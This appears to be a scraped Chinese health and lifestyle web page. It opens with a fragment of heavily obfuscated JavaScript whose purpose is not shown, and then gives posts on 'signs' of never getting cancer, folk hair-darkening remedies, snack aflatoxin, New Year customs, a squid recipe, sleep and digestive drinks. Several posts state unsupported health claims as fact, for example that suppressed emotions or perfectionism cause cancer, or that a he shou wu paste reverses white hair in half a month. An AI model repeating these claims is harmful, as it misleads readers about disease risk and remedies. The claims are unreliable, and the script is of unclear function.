)[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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2021-02-17 / by / in , , ,
这10个好兆头 告诉你一辈子不得癌症 快快看一下 特别准

癌症/预防癌症/10个好兆头/预示你一辈子不得癌症/患癌的机率低/吃得美味不致癌

癌症对人类来说简直是谈虎色变,让人倍感恐惧,如果一生不得癌,自然是每个人的愿望。

下面这些特征,如果能在你的身上出现,说明患癌的机率要比一般人低很多。

1 直系亲属中没有癌症患者

这绝对是一个非常好的兆头!因为临床观察发现,有些癌症的发生,的确带有家族遗传性质。其中比较明显的,如结直肠癌、乳腺癌等。受家族共同饮食、生活习惯的影响,胃癌、肺癌等恶性肿瘤,也有家族聚集发病的倾向。

所以,如果你的直系亲属里面没有癌症病史,说明你无论是体质,还是生活习惯,都没有明显的癌症倾向。这当然不是绝对,但的确是值得我们高兴的。

2 没有熬夜的习惯


没有熬夜的习惯 

熬夜本身和癌症之间没有太大的关系。熬夜伤害的,是我们的免疫力。我们的免疫力,是防止癌症发生的最为牢靠的一堵墙。长期熬夜,免疫力降低,墙体出现塌陷,癌细胞出现的时候没有被及时杀灭,癌症的发生就有了机会。所以,没有熬夜习惯的人,免疫力不会差到哪去,癌症自然离你很远。

3 每年都能做体检

癌症在出现之前,往往会有一些癌前病变。这个时候,癌症虽然没有发生,但是我们一只脚已经踏了进去。每年一次的体检,可以帮助我们在一定程度上找到癌前病变的影子,如果能配合肠镜、胃镜的检查,及时发现消化道内的异常,就能在最早的时间里根除癌前病变,从而远离癌症。

不过,目前有些体检,并不能等同于防癌检查。所以,如果能接受防癌检查,效果最好。

4 想说就说,想哭就哭,不做老好人

有一句话你可能知道,就是好人没好报,坏人活万年。所谓好人,往往愿意自己承受不快和委屈,不把不良的情绪发泄给别人。而这样的时间久了,不良情绪不断积累,就会形成一定的能量,从而攻击自身。正因如此,我们才会发现,往往是那些生活中忍辱负重的老好人,令人意想不到地得了癌症。

所以,为了健康,我们不能过于委屈自己,要给自己的情绪找到合适的宣泄口。

5 并非离开肉就吃不下饭


并非离开肉就吃不下饭 

爱吃肉,这似乎是很多人的共性。不过,只要你没到没有肉就吃不下饭的程度,就是少得癌症的好兆头。因为那些离开肉不行,必须顿顿吃肉的人,患结直肠癌、前列腺癌等恶性肿瘤的几率,相对要高于那些,可以一天只吃一顿肉,或者两天吃一顿肉的人。因为青菜等粗纤维食物,是帮助肠道排毒,减少致癌物和身体接触的好帮手。

6 不吸烟,而且生活中没有其他人吸烟

好兆头,这绝对是好兆头。吸烟、吸二手烟是引发肺癌等多种癌症的明确因素。如果你一辈子不吸烟,生活中也没有二手烟、三手烟的长期袭扰,就能远离很多很多的致癌物。

7 每周能有三次运动,长期如此

如果你是一个喜欢运动健身的人,而且每个礼拜有三次有氧运动的机会,每次不少于40分钟,真的要恭喜你了。因为每一次有氧运动,都是对全身免疫功能的提升和加强。在大量的氧被你吸入体内的时候,你的脏腑就有足够多的,携带氧的血液来滋润。这是它们最渴望的事情。

8 一直在努力治疗慢性的基础性疾病

慢性病经过发展形成癌症,这在临床当中十分常见。慢性的呼吸系统疾病,慢性的胃肠道疾病,慢性肝病等等,都有这方面的倾向。

所以,如果你是一个比较“惜命”的人,对这些慢性病一直着意治疗,控制其发展,自然也是不容易发生癌症的好兆头。相反,如果这些慢性病没有被控制好,后果就不好说了。

9 不是一个处处争强好胜的人

临床观察发现,有很多完美主义者,最终成为癌症患者。这个现象以乳腺癌等妇科恶性肿瘤最为常见。这和此类人长期背负较大心理压力,使得免疫系统发生紊乱有关系。相反,随和,凡事看得开的人,患癌的可能性要低很多。这当然不是绝对的,但是足以令每一个完美主义、争强好胜的人警惕。

10 家里做菜“煎炸”特别少


家里做菜“煎炸”特别少 

“煎、炒、炸”这几种做菜方式被视为离癌症最近的烹调手法,但大多数中国人都是这样的饮食方式呀,有人说,那就不吃吧。其实这不但是不科学的,也是不可能的,一个几千年的习惯怎么可能一下子改变呢?把“癌从口入”理解为不吃东西,这本身就是错误的。其实,在炒菜时,通过一些小办法我们就能规避癌症风险。

家庭炒菜4大招,吃得美味不致癌

面:裹层面糊再煎炸

炸丸子、炸鱼、煎牛排等,煎炸这类食物时,肉类的蛋白质经过高温可产生致癌物。要想减少致癌物产生,可在原料外裹一层厚度适中的面糊(可用淀粉、蛋清混合)再下油锅煎炸。面糊可起到隔离作用,不让肉类直接在高温的油里加热,最大程度减少这两种致癌物产生。

醋:多放醋

在烹饪过程减少致癌因素,还要尽量保存食物中的维生素C,达到这个一举两得的目的,应该怎么做呢?建议您在炒菜时,多加点醋,因为醋可避免蔬菜中维生素C丢失,而维生素C可阻断亚硝基化合物(一种可导致消化道癌症的物质)的形成。另外,减少食物中维生素C丢失,最好别倒掉炒菜时的菜汁。

芡:勾芡

做菜时,食材里的矿物质、维生素等营养物质,会损失到汤中。而芡汁就像是一件“保护衣”,能更多地保留维生素C。通常勾芡要掌握好时间,应在菜肴九成熟时进行。过早会使芡汁发焦;过迟则使菜受热时间长,容易失去脆嫩的口味。

蒜:出锅前拌蒜泥

蒜泥中的硫化物和大蒜素有很好的抗癌抗氧化作用,但是不耐高温,所以出锅前放才有效果。

这些好兆头,大部分都是后天可以得到的!只要稍微注意,有个7、8个好兆头很容易,得癌症的机率大大下降,轻松离开高危区。你现在符合几个?别忘了给周围的朋友看看哦~

2021-02-17 / by / in
民间流传黑发食疗秘方 没多久白发要变黑

黑芝麻/黑芝麻首乌糊/首乌鸡蛋汤/首乌小米粥/白发变黑/姜丝排骨粥

白头发对一个人来说,很是影响美观,让整个人看起来都很苍老,特别年纪轻轻就长了很多白头发,也会在心理上感到自卑。

但是头发变白却不是个不可逆的过程。只要护理有方,辅以食疗,白发变黑也并不是不可能的事。

有时候看到年轻人头上时不时的冒出一些白头发,总会觉得身体肯定是哪个地方出问题了,白头发越多看上去也就越加的显老。这是很多人都不愿意碰到的情况,可是真有了白发怎么办呢?试试这个民间盛传的食疗方子、不到半个月黑发全长出来了。用了的人效果都说好。

黑芝麻首乌糊

材料:何首乌30克,黑芝麻100克,红糖30克。

做法:先将制何首乌烘干,研成粉末;黑芝麻炒熟压碎然后将锅放在中火上,倒入首乌粉加适量清水煮沸后,加入芝麻粉、红糖熬成糊状即可。早晚各冲服1次,每次10克,10天服完。

功效:坚持服用这个方子,不到半个月就会发现黑发长出来了,生活当中有白发的朋友可以试试哦!

千年人参、千年茯苓、千年何首乌,被喻为为神仙妙药,相传何首乌与人参一样,千年幻化人形,久服而有不老童颜,如加上千年灵芝等’千岁’级药草,可返老还童、长生不老。

何首乌别名有夜交藤等十多种,味苦性平,为补血袪风要药,益精血补肝肾,久服可长筋骨、益精髓,乌发驻颜。何首乌藤茎可养经脉、袪风湿、治腰酸背痛、气血两虚,茎叶加过山香、大飞扬草、藜、樟等煎汤浴洗,可治皮肤病和疥癣诸痒症。


黑芝麻

首乌鸡蛋汤

材料:首乌20克,鸡蛋2枚。

做法:首乌鸡蛋加水共煮,至蛋熟时取蛋剥壳,再煮15分钟,再加食盐适量,稍煮片刻,吃蛋饮汤。一周1-2次,连服1-2月。

功效:可乌须黑发。

首乌小米粥

具体做法是将何首乌水煎两次,取药汁备用。小米洗净,加上首乌药汁及适量清水,旺火煮,打入鸡蛋,改文火煨粥,粥成时加入白糖,拌匀。每日1剂,当早餐趁温热服,可以长期服用。本品具有补血益气、润燥美肤、乌发固齿的功效。适用于乌发美容、强身健体。

畏寒喜暖、小便清长或不利,这些都是脾胃虚寒的症状。可常喝姜丝粥缓解。


何首乌

姜丝排骨粥

材料:大米1杯、排骨250克、球形生菜叶2片、香葱适量、姜丝适量、黄酒1汤匙、生抽1汤匙、油1汤匙、盐1/4茶匙、白胡椒粉1/4茶匙

1,将米轻轻搓洗,不必洗太多次。

2,拌入油和盐将米腌半个小时,排骨用姜丝生抽和黄酒腌半小时。

3,将腌好的米,放入电锅用煲粥功能煮1小时,球形生菜切丝备用。

4,1小时候放入排骨在煮半小时,调入白胡椒粉,出锅前撒入葱花和生菜丝。

此次,两鬓斑白,多由于肝火旺盛引起。因为按照中医理论,两鬓对应的脏腑反射区是肝胆,肝胆火偏盛的人,容易脾气暴躁或者爱生闷气,常伴有口干、口苦、舌燥,眼睛酸涩等症状。此类人群饮食要以清淡为主,可以多饮莲子粥、玫瑰花茶、山楂茶。

2021-02-17 / by / in
注意!新年大吃开心果 一不小心 伤到肝

健康/零食/过年/开心果

过年都喜欢买些零食,但是消费者一定要注意购买要点,免得一不小心买回家的零食,就有可能成了雷区。

过年吃零食,随手抓起一把开心果、鱿鱼丝,一口接一口,就是停不下来,除了容易热量破表,如果购买到颜色过于鲜艳,或是闻起来有药水味道,表示漂白剂过量,还有表面呈现暗绿色,有可能已经将致癌黄曲毒素吃下肚。

鱿鱼丝颜色白雪雪?小心含漂白剂二氧化硫

根据年货大街业者统计,开心果与鱿鱼丝都是年节最畅销的零食。但是,消费者如果未注意购要点,一不小心,就有可能误踩地雷。林口长庚医院肾脏科主任医师颜宗海表示,有些业者会在鱿鱼丝或开心果添加漂白剂二氧化硫,让色泽更漂亮,二氧化硫也具防腐效果,但是,过量食用恐会有害健康,漂白剂二氧化硫如果浓度过高,民众吃下肚就会刺激肠胃道,引发恶心、腹痛等症状。

此外,漂白剂二氧化硫摄取过量,尤其是本身有过敏体质如气喘病的患者,可能会产生过敏反应,引发哮喘与呼吸困难。此外,也要小心鱿鱼丝会含有验出防腐剂“己二烯酸”,“己二烯酸”虽然是毒性较低防腐剂,但也不可随意添加于食品或是过量使用。

开心果外表有暗绿色 小心黄曲毒素污染

值得注意的是,港台气候较潮湿,有利于黄曲毒素繁衍,一般人认为只有发霉的花生与其制品中才有黄曲毒素,其实不然,例如:五谷杂粮、坚果类、豆类、南北干货类、辛香料、腌渍类食品、古法酿造制品、地瓜粉及面粉等食材,也曾有咖啡豆都遭受波及;都因为没有真空包装或开封后没放入冰箱,都难逃黄曲毒素生长的污染。

宗海医师提醒,避免误食黄曲毒素,在选择上要注意外观正常、新鲜、包装完整的。

因此要特别注意年节零食开心果的发霉问题,消费者可以从外观观察到开心果外壳如果有暗绿色,就要小心可能已经发霉了,一旦发霉的开心果通常会有黄曲毒素污染,黄曲毒素会造成肝功能损害,严重可能导致肝硬化,特别是乙肝带原者,长期大量暴露黄曲毒素,可能会增加肝癌风险。

黄曲毒素具有肝毒性、致癌性

黄曲毒素具有很强的肝毒性和致癌性物质,世界卫生组织已于1987年将黄曲毒素列管为一级致癌物,但目前尚未订出摽准含量。根据卫卫生福利部食品药物管理署标准规定,花生酱及其制品中黄曲毒素不得超过15ppb。而且,黄曲毒素具有高度热安定性,须加热 260℃以上才可被破坏,因此不容易被水煮、火炒、炊煮等高温烹煮方式去除。

颜宗海医师提醒,避免误食黄曲毒素,在选择上要注意外观正常、新鲜、包装完整的,挑选能一次可吃完的小包装产品,若有长霉情形千万不要再食用。没有吃完的开心果,建议使用保鲜盒、拉链袋等可以减少食物与空气接触的容器保存,存放于通风干燥处,若发现食物发霉、过期,应立即丢弃。

2021-02-16 / by / in
“破五”!“破”什么?大年初五讲究哪些习俗

民俗/文化/传统/过年/破五/初五/大年初五/财神

今天正月初五,在民间又被称作是“破五”。今天就和大家分享“破五”有哪些习俗。

在苏轼的词《蝶恋花》中,有“泛泛东风初破五。江柳微黄,万万千千楼。”的句子。

把初五叫作是“破五”,可谓是由来已久。那么,这“破五”又是什么意思呢?

1、破五赶五穷,从此路清明

一是“赶五穷”。这种说法曾在韩愈的《送穷文》中见过,五穷,即智穷、学穷、文穷、命穷与交穷。民间对于“穷”早已深恶痛绝,所以一定要“赶”走它。

在这一天,人们会早早起床,开始放炮。鞭炮从每间屋子往外头放,挑着鞭炮边放边往外面走,是要把所有不干净、不吉利的脏东西、坏运气等,全都轰出屋外。


放鞭炮 

然后再打扫卫生、扔垃圾。所不同的是,初五扫地,再也不用从外往里扫,而要恢复如常,从屋里往外扫,且扫得越干净越好。然后再把所有垃圾、秽物,臭鱼烂虾、破衣老裳、瓜子皮花生壳等,一股脑全扔得远远的。

这么一崩一扫一清,屋里屋外自是一片清明,人们便也心情舒爽,澄明愉快,便开始吃饭。

另一种说法是,从大年三十,人们被种种规矩拘着,不能扫地、不能拿刀、不能做针线,还有不能吃这个、不能说那个等等,这些规矩虽使人不自由,却也令劳碌整年的百姓们得以休息。

但休息之后,日子总还得继续,所以过了初五,一切都要恢复如常,这破了禁忌的一天,就被叫作“破五”。

这破五的饭也不太一样,有的地方要吃“面疙瘩”。烧一锅清水,把面和了水搅成面糊糊,然后慢慢淋入锅中,结成小指肚大小的“面疙瘩”,倒也清新可口,滋润舒服。

这饭也是有说法的,说这碗面糊糊在碗里时很是粘稠难搅,是要把往日所有的不如意、不称心全都搅乱粘住,然后放进滚水里煮烂,以求得新的一年一切顺利,吉祥如意。

也有的地方要吃“饺子”。可这破五的饺子,却又不能叫做饺子,而叫“捏小人嘴”。

这破五的饺子,却又不能叫做饺子,而叫“捏小人嘴”。

据说这饺子在准备馅料时便要使劲得剁,非要剁得“当当”响,以表示正在剁“小人”。然后再拿面皮把剁碎的小人包起来,使劲把“口”捏紧,再扔入滚水里煮。

老年间,人们总会把生活中的诸般不顺,归结到“犯小人”上,只有除掉“小人”,把它剁碎、捏紧、煮熟,才能免除谗言之祸、发泄心中恨意,这往后的日子也就能快快乐乐,顺顺利利。

2、破五接五路,五路进财富

清代顾禄所著的《清嘉录》中记载:正月初五日,为路头神诞辰… …以争先为利市,必早起迎之,谓之接路头。

初五接财神的习俗,风行于明、清和民国,至今依旧在民间流传。

其实,接路头神,是在初四的晚上就开始了的,是为了争先利市,抢得先机、早点接神、发财。

有人说,这五路神,其实是五路神仙,即:户神、灶神、土神、门神和行神。五路则是指东、西、南、北、中,出门的五个方位。

懂老规矩的人,会在初四深夜至初五凌晨备下祭品、打开门窗,焚香跪拜,并放鞭炮、烟花等表示对各路神仙的欢迎。

接过了神仙,人们还要聚在一起吃路头酒,通常会热热闹闹地吃到天亮。以示把神仙接进家门,也把金银财器、好财运接进家门,祈愿新的一年大财大富大贵。

但也有人说,财神本是《封神榜》中记载的赵公明,统领招宝天尊、纳珍天尊、招财使者、利市仙官四个手下,所有职责皆与钱财有关。


财神

除一正财神赵公明外,民间还有四位偏财神,因为各地的说法,供奉都不一样,所以无法一一列出。

特别是经商之人,通常最看重正月初五,无论何种说法,初五迎财神是没有问题的,牵涉到一年的财运、生意的发展,理应是高度重视的。

《清嘉录》中有词曰:五日财源五日求,一年心愿一时酬;提防别处迎神早,隔夜匆匆抱路头。

虽然各地所拜神仙不一,但对未来的美好祈愿、对生活前景的向往却是一样的。

据老人们说,旧时很多穷人摆不起路头酒,也敬不起财神。所以就在初五这天,三五成群地戴着财神的面具,到有钱人家门前“跳财神”。

而主人家为了讨吉利,却也不恼,叫人当场奉上钱币、吃食酬谢。其实,这应该也是无奈之举,因为不拿钱财出来,这些穷苦人就会一直“跳”“闹”不止,只得散财才能送走这些“财神”。

这场景说来讽刺,本来起早设祭是要迎财神,而这“财神”来了,却又要掏钱送“财神”走,不免增添了穷苦人家饭后的谈资和笑料,也使得这年也过得更加热闹。

3、破五要三满,三满钱成山

破五还有个说法,是“破五要三满,三满钱成山”。

说的是破五这天家里的三样东西不能空,越是满越是能带来好运气,这三满指的是:

水缸满:中国人一向认为水即是财,而正月初五多被人认为是与财神有关的日子,而财神下界进家时,则要检查家里是否有“财”的度量,也就是看看家里水多不多。

所以,老年间人们一定会把家里的水缸灌满。这也象征着新的一年财量满满,财运亨通。但要注意的是,在注入新水时,一定要把水缸里的旧水倒掉,再把水缸清理干净,不能有一点垢物杂质。

要保证水缸里的水是全新的,满满的,不但表示对神仙的虔诚,也表示去掉旧年不顺的决心。

米缸满。中国人向来认为“民以食为天”,所以家中断不能少米。所以在财神来的这天,一定要把米缸装满。


米缸要满

一是向神仙证明家里有足够的实力供奉神仙,二是象征一家人勤劳肯干,才使得家中米缸常满。神仙多喜欢百姓勤劳,看到米缸满满,一高兴就会让这家人在新的一年里收成满满,顺利、发财。

钱袋满。俗话说“钱能生钱”,想收入更多钱,则要有本钱。所以在正月初五这天,必须把钱袋子装满,让财神看到这装满的钱的钱袋子。

一来神仙会觉得这家人聪明、勤劳,经营有道,有赚钱、生钱的能力,使会给予他们更多的机会和帮助;二来是,也让神仙看到这家人有接纳更多“钱”的资本,可以“生”更多钱来。

财神本身当然喜欢那些会赚钱、会经营的人,这一高兴,便更会让这家人在新的一年财源广进、日进斗金了。

初五这天还有什么禁忌呢?

避免串门

从大年初二以后,到初五已经有三天时间。按照走亲戚的说法,即使是亲戚比较多的三天时间应该也能够完成。初五这天因为提倡点燃鞭炮将不好的东西给带走,如果串门的话,会被人认为又会将带走的东西给带回来。大家觉得这种寓意不是太好,所以都不提倡串门。

不动针线

在过年这几天里,大家基本上都不会动用针线活。特别是在过去的那些年代里,大家身上穿的衣服和脚上的鞋子都是由针线活制作出来的。在制作的过程中必须用到针和剪子,这些东西作为锋利和尖锐的象征。如果动用针线的话,会让人认为一年中可能会出现针锋相对的情况,特别是和其他人吵架的现象。


大年初五禁止针线

杜绝动土

目前已经到了春天的季节,立春时节已经过去,天气逐渐变暖。对于准备盖新房子的农民来讲,在这一天也是避免要动土的。许多事情都会在破五以后进行,如果有人想要搬进新房子的话,也需要改变一下时间。初五在送穷的时候,是禁止进行搬家的。

2021-02-16 / by / in ,
爆炒鱿鱼卷(视频)

爆炒鱿鱼卷/鱿鱼

鱿鱼有多种做法,不管鱿鱼烤还是烧味道都非常好吃,今天与大家分享爆炒鱿鱼。

爆炒菜是鲁菜常用的一个技法,爆就是用旺火爆,一锅成菜, 必需要在极短时间内赶快把菜炒好。

材料:

鱿鱼 1条,葱 1根,姜 3片,蒜2瓣,胡萝卜 0.5根,

调料:

料酒 1汤匙,醋 1茶匙,白糖 1茶匙,盐 少许,淀粉 1汤匙,蚝油 1汤匙

做法:

1. 准备工作:鱿鱼洗净后,擦干水分,然后在背面划十字刀,划好后切成小长方形。胡萝卜切片,

2. 焯水:将胡萝卜和鱿鱼放入开水中焯一下,然后捞出沥干水分。

3. 调汁:将料酒,醋,白糖,盐,淀粉,蚝油放入碗中,加适量的水调成汁。

4. 成菜:锅中放油,放入葱姜蒜爆香,然后倒入鱿鱼和胡萝卜大火煸炒,倒入调料汁翻炒均匀即可出锅。

2021-02-15 / by / in ,
心理学家:真正的好睡眠,是这样“养成”的(组图)

睡眠/失眠/饮食清淡/按穴位/持续专注呼吸/静坐观息法/高质量睡眠

经常听到周围的人说自己失眠了,睡上2小时都感到是奢侈的事情,对一般人群来讲好睡眠也是可遇而不可求啊!

睡眠如果你也有这样的疑惑,那么;


清淡饮食

1、控制饮食

“节劳节欲节饮食”是曾国藩12条修身养性法门之一。饮食清淡不仅能够使人神清气爽,更容易睡得香。不仅是奶茶、甜甜圈、方便面,这些高油高盐高热量的食物,暴饮暴食短时间吃下太多高脂肪的食物,还有添加剂、调味剂太多,这些都可能让肠胃不好消耗、胀气,甚至产生灼热等不舒服的感觉,阻挡好睡眠。味道好的不太健康的,健康的一般味道寡淡。

合理安排自己的饮食,一周中的三天,或者一天中的一顿清淡些,其他做到相对健康即可。不偏爱,懂节制,方得长久。看似是对饮食的节制,其实也是对“心”的锤炼,是减少贪求、厌恶的执着心的方式。


神门穴

2、按穴位

按哪个穴位最简单、最容易入睡呢?神门穴。平时盯着电脑时间长,起来休息一下,或者就是没事儿的时候,随时都能按一下,神门穴可以帮助自律神经的调整,使副交感神经发挥作用,让心慢慢安静下来,心神一定、睡神也就不远了。

因此,按神门穴会有助眠的作用。神门穴在腕横纹尺侧端,尺侧腕屈肌腱的桡侧凹陷处。你可以尝试用另一只手的中指按压3—5分钟,有酸胀的感觉就好了。


失眠

3、真正的失眠,不是睡不着,而是对睡眠的恐惧

好像要睡着了,但马上惊醒,突如其来的恐惧一下子像是被击中一下,从头顶到脚底一下子被“激活”的紧张。其实往往没什么好恐惧的,没有对象,就是恐惧,反反复复,徘徊在要睡、惊醒的边缘。

如何能够放下对睡眠的恐惧呢?

持续专注呼吸——静坐观息法。觉察一呼一吸,恐惧的力量自然慢慢减弱,持续专注在鼻孔处呼吸上,对睡眠的执着心,对睡眠的执念也就会慢慢减弱,当身体需要该入睡的时候,你便能自然入睡。

无论多么有效的方法,只有你去实践,效果才能发生在你身上,也唯有耐心坚持,才能真正享受想睡就睡的高质量睡眠、享有平和淡定的能力。

2021-02-15 / by / in
过年必备,去油解腻的6大饮品(组图)

过年/解腻饮品/乌龙茶/普洱茶/食用醋山/楂茶/酸梅汤/麦茶/蜂蜜柠檬水

过年了家家户户餐桌都摆上了丰盛的大鱼大肉,还有一些应景的点心和零食。


过年

而且几乎大家同时也会搭配有糖、有气泡、有酒精等的饮料来吃,所以就会让身体感到越来越油腻,就很需要解腻的东西来减轻身体的负担!

解腻饮品不只有茶,还有这些选择

茶类

《HEHO健康》报道,在中医的理论,茶的功效有利尿、解渴、能消气助消化,所以建议在大餐后饮食,可适度有助于消脂,根据多项研究显示多喝茶也可降低心血管疾病的发生,这是因为它含有丰富的抗氧化剂“儿茶素”,具有抗氧化、提高新陈代谢、清除自由基等功效。其中以乌龙茶的去油解腻作用最好,其余像是普洱茶也都可以帮助消食及去腻喔!


乌龙茶

不过因为茶属寒性,不适合空腹饮用,一般人一天的摄取量以不超过 600 毫升为佳,以避免摄取过多的咖啡因及茶碱,造成心悸、频尿、失眠等现象。另外,也建议有贫血症状、处于月经前后女性、肠胃差、胃食道逆流、慢性胃炎者都应尽量避免饮用。

食用醋

食用醋中含有“氨基酸”,有助分解体内脂肪,所以也可达到帮助消化的作用。

山楂茶

